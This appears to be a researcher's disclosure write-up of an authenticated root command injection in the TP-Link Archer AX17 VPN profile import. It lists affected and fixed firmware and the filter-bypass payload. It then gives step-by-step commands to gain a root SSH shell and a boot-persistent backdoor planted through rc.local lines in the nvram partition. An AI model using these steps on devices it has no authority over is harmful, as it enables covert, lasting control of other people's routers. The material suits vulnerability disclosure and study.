
Authenticated OS command injection in the TP-Link Archer AX17 v1 VPN client import.
Authenticated OS command injection in the Archer AX17 v1 VPN client import.
An admin on the LAN imports an OpenVPN client profile. The profile description is stored as the filename /etc/openvpn/<des>.ovpn. Reading that profile writes the path into /tmp/ovpn_curr_edit. The next VPN write, with no upload staged, feeds that path unquoted to grep and sed, which the web server runs as root.
The description filter rejects /, ;, |, and spaces, and keeps the string to 64 characters. Backticks pass, so the payload is S`sleep${IFS}1`. ${IFS} is how the command gets its space.
| Affected | Archer AX17 v1, firmware 1.1.28 P1 [20250523-rel65103], and builds before the fix |
| Fixed | 1.5.0 Build 20260605 |
| Access | Admin session on the LAN. Not reachable before login. |
| Impact | Root command execution |
poc.js.await poc(0), then await poc(1).poc(0) returns in a few hundred milliseconds. poc(1) takes about a second longer. That gap is sleep 1 running as root. The script deletes the profile it created.
Tested on 1.1.28. poc(1) was 1238 ms, poc(3) 3504 ms, poc(7) 7204 ms, against a 324 ms control.
The injection runs as root, so it can start dropbear. Two things about this build matter:
-L ("Enable SSH session login") is required. Without it dropbear authenticates and then answers every shell request with exec request failed./etc is a ramfs. rc.local, /etc/shadow and /etc/dropbear/authorized_keys are rebuilt from the squashfs on every boot. Only the nvram partitions persist.That splits it into a temporary and a permanent method.
ssh-temp.js has two calls:
await sshTemp(); // dropbear -C -L -p 2222
await runStaged('r'); // sh /tmp/r as root
sshTemp() starts dropbear in web-account mode. Log in with the router admin password:
ssh -p 2222 -o HostKeyAlgorithms=+ssh-rsa \
-o KexAlgorithms=+diffie-hellman-group14-sha1 admin@<router>
That shell is uid 1000 (admin), not root, and cannot write /etc. To escalate, stage ssh-root.sh at /tmp/r over it:
cat > /tmp/r <<'EOF'
... ssh-root.sh with your public key ...
EOF
Then call runStaged('r') from the console. The injection runs the script as uid 0, writes /etc/dropbear/authorized_keys, and starts dropbear -L -p 2227. (runStaged builds /tmp/<name> from ${PWD%www} because the web backend's working directory is /www.) Connect:
ssh -i <key> -p 2227 -o HostKeyAlgorithms=+ssh-rsa \
-o PubkeyAcceptedAlgorithms=+ssh-rsa \
-o KexAlgorithms=+diffie-hellman-group14-sha1 root@<router>
This survives until the next reboot.
Run ssh-persist.sh as root (e.g. over the temporary root shell). It appends an rc.local to the nvram profile partition. S10boot restores that partition into /etc before S95done runs /etc/rc.local, so the commands run at every boot.
The partition is an encrypted, line-oriented uci XML. <dir> creates /etc/<dir>, <file> creates /etc/<dir>/<file>, and a tag name is written verbatim after option . A tag starting with ; therefore lands in rc.local as
option ;<command> # 'x'
which runs <command> as root. The script preserves the vendor profile.d block and writes:
option ;echo <pubkey>|tee /etc/dropbear/authorized_keys # 'x'
option ;/usr/sbin/dropbear -L -p 22 # 'x'
After a reboot, root SSH is on port 22 with the same key. Back up the partition first; the script prints the backup path and the restore command.
Note: chpasswd does not exist on this firmware. Do not try to set a root password with it; use authorized_keys (as above) or passwd.